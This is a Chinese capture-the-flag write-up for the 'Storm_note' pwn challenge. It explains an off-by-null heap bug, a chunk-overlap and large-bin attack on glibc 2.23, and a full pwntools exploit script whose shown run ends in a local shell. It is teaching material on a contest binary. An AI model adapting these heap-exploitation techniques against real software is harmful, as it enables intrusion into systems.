西湖论剑 Pwn Storm_note Writeup

源程序下载:http://file.eonew.cn/ctf/pwn/Storm_note

思路来自于:https://blog.csdn.net/weixin_40850881/article/details/80293143

比赛的环境是glibc-2.23,所以推荐在glibc-2.23的环境下测试。

简介

这题还是偏难的,要求选手会构造chunk。以及对large bin和unsorted bin的掌握程度。主要用到的是 Chunk Extend 的chunk重叠(overlapping) 漏洞。

程序功能介绍

安全防护

ex@Ex:~/test$ checksec Storm_note
[!] Couldn't find relocations against PLT to get symbols
[*] '/home/ex/test/Storm_note'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

主要功能

ssize_t menu()
{
  puts("================");
  puts("== Storm Note ==");
  puts("== 1. alloc   ==");
  puts("== 2. edit    ==");
  puts("== 3. delete  ==");
  puts("== 4. exit    ==");
  puts("================");
  return write(1, "Choice: ", 8uLL);
}

主要是三个功能。申请,编辑,删除。

全局变量

char *note[16];
int note_size[16];

index 作为键值,使得notenote_size一一对应。

申请

unsigned __int64 alloc_note()
{
  int v1; // [rsp+0h] [rbp-10h]
  int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  for ( i = 0; i <= 15 && note[i]; ++i )
    ;
  if ( i == 16 )
  {
    puts("full!");
  }
  else
  {
    puts("size ?");
    _isoc99_scanf("%d", &v1);
    if ( v1 > 0 && v1 <= 0xFFFFF )
    {
      note[i] = calloc(v1, 1uLL);
      note_size[i] = v1;
      puts("Done");
    }
    else
    {
      puts("Invalid size");
    }
  }
  return __readfsqword(0x28u) ^ v3;
}

calloc则将初始化这部分的内存,会进行0填充。

void *calloc(size_t nmemb, size_t size);
The  calloc()  function allocates memory for an array of nmemb elements
of size bytes each and returns a pointer to the allocated memory.   The
memory  is  set  to zero.  If nmemb or size is 0, then calloc() returns
either NULL, or a unique pointer value that can later  be  successfully
passed to free().

编辑

unsigned __int64 edit_note()
{
  int v1; // [rsp+0h] [rbp-10h]
  int v2; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Index ?");
  _isoc99_scanf("%d", &v1);
  if ( v1 >= 0 && v1 <= 15 && note[v1] )
  {
    puts("Content: ");
    v2 = read(0, (void *)note[v1], (signed int)note_size[v1]);
    *(_BYTE *)(note[v1] + v2) = 0;
    puts("Done");
  }
  else
  {
    puts("Invalid index");
  }
  return __readfsqword(0x28u) ^ v3;
}

注意这里:

v2 = read(0, (void *)note[v1], (signed int)note_size[v1]);
*(_BYTE *)(note[v1] + v2) = 0;

删除

unsigned __int64 delete_note()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Index ?");
  _isoc99_scanf("%d", &v1);
  if ( v1 >= 0 && v1 <= 15 && note[v1] )
  {
    free((void *)note[v1]);
    note[v1] = 0LL;
    note_size[v1] = 0;
  }
  else
  {
    puts("Invalid index");
  }
  return __readfsqword(0x28u) ^ v2;
}

note_size[v1] = 0;:程序free之后会进行NULL赋值,应该不存在UAF漏洞。

后门函数

void __noreturn backdoor()
{
  char buf; // [rsp+0h] [rbp-40h]
  unsigned __int64 v1; // [rsp+38h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("If you can open the lock, I will let you in");
  read(0, &buf, 0x30uLL);
  if ( !memcmp(&buf, (const void *)0xABCD0100LL, 0x30uLL) )
    system("/bin/sh");
  exit(0);
}

0xABCD0100动态调试发现,这个地址每次都不一样,查看程序的导入表,看看这块内存是怎么被申请的。

ex@Ex:~/test$ readelf --dyn-syms Storm_note

Symbol table '.dynsym' contains 28 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 00000000000009a0     0 SECTION LOCAL  DEFAULT   10 
     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND free@GLIBC_2.2.5 (2)
     3: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_deregisterTMCloneTab
     4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.2.5 (2)
     5: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND mallopt@GLIBC_2.2.5 (2)
     6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND write@GLIBC_2.2.5 (2)
     7: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@GLIBC_2.4 (3)
     8: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND mmap@GLIBC_2.2.5 (2)
     9: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND setbuf@GLIBC_2.2.5 (2)
    10: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND system@GLIBC_2.2.5 (2)
    11: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.2.5 (2)
    12: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.2.5 (2)
    13: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND memcmp@GLIBC_2.2.5 (2)
    14: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND calloc@GLIBC_2.2.5 (2)
    15: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
    16: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND open@GLIBC_2.2.5 (2)
    17: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _Jv_RegisterClasses
    18: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __isoc99_scanf@GLIBC_2.7 (4)
    19: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND exit@GLIBC_2.2.5 (2)
    20: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMCloneTable
    21: 0000000000000000     0 FUNC    WEAK   DEFAULT  UND __cxa_finalize@GLIBC_2.2.5 (2)
    22: 0000000000202020     8 OBJECT  GLOBAL DEFAULT   24 stdout@GLIBC_2.2.5 (2)
    23: 0000000000202010     0 NOTYPE  GLOBAL DEFAULT   23 _edata
    24: 0000000000202120     0 NOTYPE  GLOBAL DEFAULT   24 _end
    25: 0000000000202030     8 OBJECT  GLOBAL DEFAULT   24 stdin@GLIBC_2.2.5 (2)
    26: 0000000000202010     0 NOTYPE  GLOBAL DEFAULT   24 __bss_start
    27: 0000000000202040     8 OBJECT  GLOBAL DEFAULT   24 stderr@GLIBC_2.2.5 (2)

看到了mmap函数,用ida的交叉引用,查出了下面的函数:

ssize_t init_proc()
{
  ssize_t result; // rax
  int fd; // [rsp+Ch] [rbp-4h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  if ( !mallopt(1, 0) )
    exit(-1);
  if ( mmap((void *)0xABCD0000LL, 0x1000uLL, 3, 34, -1, 0LL) != (void *)0xABCD0000LL )
    exit(-1);
  fd = open("/dev/urandom", 0);
  if ( fd < 0 )
    exit(-1);
  result = read(fd, (void *)0xABCD0100LL, 0x30uLL);
  if ( result != 48 )
    exit(-1);
  return result;
}

进入init_proc函数,该函数首先调用mallopt函数禁用了fastbin。int mallopt(int param,int value)为内存分配控制函数,此处param参数取值为M_MXFAST,控制着fastbin大小上限,此处设置为1,表示禁用fastbin,fastbin attack的思路已经行不通。

由这行代码可知fd = open("/dev/urandom", 0);,应该是个随机数。

主函数

// local variable allocation has failed, the output may be wrong!
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init_proc(*(_QWORD *)&argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      _isoc99_scanf("%d", &v3);
      if ( v3 != 3 )
        break;
      delete_note();
    }
    if ( v3 > 3 )
    {
      if ( v3 == 4 )
        exit(0);
      if ( v3 == 666 )
        backdoor();
LABEL_15:
      puts("Invalid choice");
    }
    else if ( v3 == 1 )
    {
      alloc_note();
    }
    else
    {
      if ( v3 != 2 )
        goto LABEL_15;
      edit_note();
    }
  }
}

主函数也比较简单,输入666即可触发后门进行判断,关键在于怎么绕过 if ( !memcmp(&buf, (const void *)0xABCD0100LL, 0x30uLL) ) 部分。

程序有什么漏洞呢?

综上所诉,我们只看到了一个 off by one 漏洞((_BYTE )(note[v1] + v2) = 0;)。所以可以用 Chunk Extend 漏洞来精心构造fake_chunk,从而控制unsort chunk和large chunk中的指针,当large bin发生插入操作的时候可以实现对任意地址的写(mmap区域)。

思路

  1. Chunk Extend 使得chunk重叠
  2. 控制chunk
  3. 控制unsort bin和large bin
  4. 伪造 fake_chunk
  5. 触发后门

Chunk Extend

Chunk Extend 漏洞使得两个chunk重叠。

alloc_note(0x18)  # 0
alloc_note(0x508)  # 1
alloc_note(0x18)  # 2
alloc_note(0x18)  # 3
alloc_note(0x508)  # 4
alloc_note(0x18)  # 5
alloc_note(0x18)  # 6

# 改pre_size域为 0x500 ,为了能过检查
edit_note(1, 'a'*0x4f0 + p64(0x500))
# 释放1号块到unsort bin 此时chunk size=0x510
# 2号的prev_size 为 0x510
delete_note(1)

# off by null 将1号块的size字段覆盖为0x500,
# 和上面的0x500对应,为了绕过检查
edit_note(0, 'a'*(0x18))

alloc_note(0x18)  # 1  从unsorted bin上面割下来的
alloc_note(0x4d8)  # 7 为了和 1 重叠

delete_note(1)
delete_note(2)  # unlink进行前向extend

这里如果理解不了的话,可以画出布局图来,这样会更形象一点。

扩展攻击之后的内存布局如下:

pwndbg> x/8gx &note
0x5617875570a0 <note>:    0x000056178869c010  0x0000000000000000
0x5617875570b0 <note+16>: 0x0000000000000000  0x000056178869c560
0x5617875570c0 <note+32>: 0x000056178869c580  0x000056178869ca90
0x5617875570d0 <note+48>: 0x000056178869cab0  0x000056178869c050
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x56178869c020 —▸ 0x7fd89a3c4b78 (main_arena+88) ◂— 0x56178869c020
smallbins
empty
largebins
empty
pwndbg> p *(struct malloc_chunk*)(0x56178869c020)
$3 = {
  prev_size = 7523377975159973992, 
  size = 1329, 
  fd = 0x7fd89a3c4b78 <main_arena+88>, 
  bk = 0x7fd89a3c4b78 <main_arena+88>, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
pwndbg> x/8wx &note_size 
0x561787557060 <note_size>:   0x00000018  0x00000000  0x00000000  0x00000018
0x561787557070 <note_size+16>:    0x00000508  0x00000018  0x00000018  0x000004d8

通过调试可以看出,index为7的指向的地方和unsortedbin里面的chunk已经重叠了。

控制chunk

alloc_note(0x30)  # 1
alloc_note(0x4e8)  # 2

alloc_note(0x30)之后2号块与7号块交叠,可以通过7号块修改2号块的内容(后面将2号块加入unsort bin)。

pwndbg> x/8gx &note
0x55a2b7f1f0a0 <note>:    0x000055a2b8701010  0x000055a2b8701030
0x55a2b7f1f0b0 <note+16>: 0x000055a2b8701070  0x000055a2b8701560
0x55a2b7f1f0c0 <note+32>: 0x000055a2b8701580  0x000055a2b8701a90
0x55a2b7f1f0d0 <note+48>: 0x000055a2b8701ab0  0x000055a2b8701050

同理可以在4号和5号上继续构造块交叠,由8号块来控制其内容(4号块加入large bin)。

edit_note(4, 'a'*(0x4f0) + p64(0x500))
delete_note(4)
edit_note(3, 'a'*(0x18))
alloc_note(0x18)  # 4
alloc_note(0x4d8)  # 8
delete_note(4)
delete_note(5)
alloc_note(0x40)  # 4

控制unsort bin和large bin

接下来将2号块和4号块分别加入unsort bin和large bin,后面可以通过7号块和8号块对其中的指针进行修改。

delete_note(2)
alloc_note(0x4e8)    # 2
delete_note(2)

由于unsorted bin是FIFO(队列模式),所以可以先删除2号块,再申请他,由于先检查队列尾部,也就是原先4号块的chunk部分,发现chunk大小不够大,然后将其放入large bin中。该chunk由8号块控制。

然后,继续删除2号块,那么此时unsorted bin里还剩下2号块,该部分通过7号块来控制。

伪造 fake_chunk

修改unsorted bin 和large bin中的内容。

storage = 0xabcd0100
fake_chunk = storage - 0x20

# 伪造fake_chunk
layout = [
    '\x00' * 16,     # 填充16个没必要的字节
    p64(0),          # fake_chunk->prev_size
    p64(0x4f1),      # fake_chunk->size
    p64(0),          # fake_chunk->fd
    p64(fake_chunk)  # fake_chunk->bk
]

# 修改unsorted bin 中的内容
edit_note(7, flat(layout))

layout = [
    '\x00' * 32, # 32 字节偏移
    p64(0),      # fake_chunk2->prev_size
    p64(0x4e1),  # fake_chunk2->size
    p64(0),      # fake_chunk2->fd
    # 用于创建假块的“bk”,以避免从未排序的bin解链接时崩溃
    p64(fake_chunk + 8),       # fake_chunk2->bk
    p64(0),                    # fake_chunk2->fd_nextsize
    # 用于使用错误对齐技巧创建假块的“大小”
    p64(fake_chunk - 0x18 - 5) # fake_chunk2->bk_nextsize
]

# 修改large bin 中的内容
edit_note(8, flat(layout))

然后申请内存来触发一系列动作:

alloc_note(0x48)

由于unsorted bin是FIFO模式,所以会优先判断 unsorted bin 的 bk 开始查询,由于伪造unsorted bin 的 bk时,我们故意向上偏移了0x20字节,所以得到的size就是0,由于不够申请的size,转而进入large bin 判断部分。然后进行一系列的链接操作。最后我们会分配到0xabcd00f0 地址。

以glibc-2.23为例子

glibc-2.23/malloc/malloc.c:3515

/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

这里unsorted bin 变成了0xabcd00e0,0xabcd00f0发的位置被修改为<main_arena+88>。

glibc-2.23/malloc/malloc.c:3542

victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

这里会把我们构造好的large bin拿出来。

在下面这里size会被修改成我们想要的值

───────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────
In file: /home/ex/glibc/glibc-2.23/malloc/malloc.c
   3576                           victim->fd_nextsize = fwd;
   3577                           victim->bk_nextsize = fwd->bk_nextsize;
   3578                           fwd->bk_nextsize = victim;
   3579                           victim->bk_nextsize->fd_nextsize = victim;
   3580                         }
  3581                       bck = fwd->bk;
   3582                     }
   3583                 }
   3584               else
   3585                 victim->fd_nextsize = victim->bk_nextsize = victim;
   3586             }
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp  0x7fff5f0476b0 ◂— 0x48 /* 'H' */
01:0008│      0x7fff5f0476b8 ◂— 0x5
02:0010│      0x7fff5f0476c0 —▸ 0x55a37f05ba60 (_start) ◂— xor    ebp, ebp
03:0018│      0x7fff5f0476c8 —▸ 0x7f9101597b20 (main_arena) ◂— 0x100000001
04:0020│      0x7fff5f0476d0 ◂— 0x48 /* 'H' */
05:0028│      0x7fff5f0476d8 —▸ 0x55a3801f1ac0 ◂— 0x0
06:0030│      0x7fff5f0476e0 ◂— 0x20540
07:0038│      0x7fff5f0476e8 ◂— 0x0
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
  f 0     7f910127faab _int_malloc+1262
   f 1     7f9101281b6f calloc+323
   f 2     55a37f05bc46 alloc_note+182
   f 3     55a37f05c0c2 main+116
   f 4     7f910122dc09 __libc_start_main+385
pwndbg> x/4gx 0xabcd00e0
0xabcd00e0: 0xa3801f1060000000  0x0000000000000055
0xabcd00f0: 0x00007f9101597b78  0x0000000000000000

所以我们只要申请的size刚好符合0x0000000000000055(这个可能是随机的)的对齐规则即可。详见下面的解释。

我们需要的size是0x48,经过下面的对齐,会得到nb的值为0x50。

glibc-2.23/malloc/malloc.c:3341

  /*
     Convert request size to internal form by adding SIZE_SZ bytes
     overhead plus possibly more to obtain necessary alignment and/or
     to obtain a size of at least MINSIZE, the smallest allocatable
     size. Also, checked_request2size traps (returning 0) request sizes
     that are so large that they wrap around zero when padded and
     aligned.
   */

  checked_request2size (bytes, nb);

而0xabcd00e0的size经过glibc-2.23/malloc/malloc.c:3341size = chunksize (victim);之后,也会对齐为0x50。

glibc-2.23/malloc/malloc.c:3521

if (size == nb)
{
  set_inuse_bit_at_offset (victim, size);
  if (av != &main_arena)
  victim->size |= NON_MAIN_ARENA;
  check_malloced_chunk (av, victim, nb);
  void *p = chunk2mem (victim);
  alloc_perturb (p, bytes);
  return p;
}

由于size和nb匹配成功,则直接返回0xabcd00f0给我们。

触发后门

edit_note(2, p64(0) * 8)
sh.sendline('666')
sh.sendline('\x00'*0x30)

sh.interactive()

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

sh = process('./Storm_note')
elf = ELF('./Storm_note')
# context.log_level = "debug"

# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

def alloc_note(size):
    sh.sendline('1')
    sh.recvuntil('?')
    sh.sendline(str(size))
    sh.recvuntil('Choice')

def edit_note(idx, mes):
    sh.sendline('2')
    sh.recvuntil('?')
    sh.sendline(str(idx))
    sh.recvuntil('Content')
    sh.send(mes)
    sh.recvuntil('Choice')

def delete_note(idx):
    sh.sendline('3')
    sh.recvuntil('?')
    sh.sendline(str(idx))
    sh.recvuntil('Choice')

# 清除流
sh.recvuntil('Choice')

alloc_note(0x18)  # 0
alloc_note(0x508)  # 1
alloc_note(0x18)  # 2
alloc_note(0x18)  # 3
alloc_note(0x508)  # 4
alloc_note(0x18)  # 5
alloc_note(0x18)  # 6

# 改pre_size域为 0x500 ,为了能过检查
edit_note(1, 'a'*0x4f0 + p64(0x500))
# 释放1号块到unsort bin 此时chunk size=0x510
# 2号的prev_size 为 0x510
delete_note(1)

# off by null 将1号块的size字段覆盖为0x500,
# 和上面的0x500对应,为了绕过检查
edit_note(0, 'a'*(0x18))

alloc_note(0x18)  # 1  从unsorted bin上面割下来的
alloc_note(0x4d8)  # 7 为了和 1 重叠

delete_note(1)
delete_note(2)  # unlink进行前向extend

# 2号块与7号块交叠,可以通过7号块修改2号块的内容
alloc_note(0x30)  # 1
alloc_note(0x4e8)  # 2

# 原理同上
edit_note(4, 'a'*(0x4f0) + p64(0x500))
delete_note(4)
edit_note(3, 'a'*(0x18))
alloc_note(0x18)  # 4
alloc_note(0x4d8)  # 8
delete_note(4)
delete_note(5)
alloc_note(0x40)  # 4

# 将2号块和4号块分别加入unsort bin和large bin
delete_note(2)
alloc_note(0x4e8)    # 2
delete_note(2)

storage = 0xabcd0100
fake_chunk = storage - 0x20

# 伪造fake_chunk
layout = [
    '\x00' * 16,  # 填充16个没必要的字节
    p64(0),  # fake_chunk->prev_size
    p64(0x4f1),  # fake_chunk->size
    p64(0),  # fake_chunk->fd
    p64(fake_chunk)  # fake_chunk->bk
]

# 修改unsorted bin 中的内容
edit_note(7, flat(layout))

layout = [
    '\x00' * 32,  # 32 字节偏移
    p64(0),  # fake_chunk2->prev_size
    p64(0x4e1),  # fake_chunk2->size
    p64(0),  # fake_chunk2->fd
    # 用于创建假块的“bk”,以避免从未排序的bin解链接时崩溃
    p64(fake_chunk + 8),  # fake_chunk2->bk
    p64(0),  # fake_chunk2->fd_nextsize
    # 用于使用错误对齐技巧创建假块的“大小”
    p64(fake_chunk - 0x18 - 5)  # fake_chunk2->bk_nextsize
]

# 修改large bin 中的内容
edit_note(8, flat(layout))

# 0xabcd00f0
alloc_note(0x48)  # 2

edit_note(2, p64(0) * 8)
sh.sendline('666')
sh.sendline('\x00'*0x30)

sh.interactive()

# 删除pid文件
os.system("rm -f pid")

运行实例

ex@ubuntu:~/test$ ./exp.py 
[+] Starting local process './Storm_note': pid 16115
[*] '/home/ex/test/Storm_note'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
: If you can open the lock, I will let you in
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$  

由于这个受到随机化的影响,不一定每次都会成功,多试几次就可以。

总结

多调试源码,能更好的了解其原理。